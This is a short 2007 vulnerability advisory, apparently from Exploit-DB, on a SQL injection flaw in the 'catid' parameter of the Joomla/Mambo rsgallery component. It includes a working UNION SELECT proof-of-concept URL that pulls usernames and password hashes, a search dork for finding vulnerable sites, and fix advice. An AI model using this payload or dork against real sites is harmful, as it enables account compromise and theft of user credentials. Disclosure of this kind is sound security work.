Joomla! / Mambo Component rsgallery 2.0b5 - 'catid' SQL Injection

EDB-ID:

4691


Author:

K-159

Type:

webapps


Platform:

PHP

Date:

2007-12-05


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                                        .OR.ID
ECHO_ADV_86$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_86$2007] Mambo/Joomla Component rsgallery <= 2.0 beta 5 (catid) Remote SQL Injection Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : November, 30 th 2007
Location       : Australia, Sydney
Web            : http://advisories.echo.or.id/adv/adv86-K-159-2007.txt
Critical Lvl   : Medium
Impact	       : System access
Where	       : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : rsgallery  
version       : <= 2.0 beta 5
Vendor        : http://www.rsdev.nl/
Description :

RSGallery is one of the most complete Gallery solutions for Joomla at this point

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

Input passed to the "catid" parameter is not properly verified before being used to sql query. 
This can be exploited thru the browser and get the hash md5 password from users.
Successful exploitation requires that "magic_quotes" is off.


Poc/Exploit:
~~~~~~~~~

http://target.com/index.php?option=com_rsgallery&page=inline&catid=-1%20union%20select%201,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11%20from%20mos_users--

Dork:
~~~~
Google  : "option=com_rsgallery" or inurl:Óindex.php?option=com_rsgalleryÓ 



Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
- use the latest version

Timeline:
~~~~~~~~

- 30 -11 - 2007 bug found
- 3  -12 - 2007 publish advisory
---------------------------------------------------------------------------

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---------------------------------------------------------------------------
Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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# milw0rm.com [2007-12-05]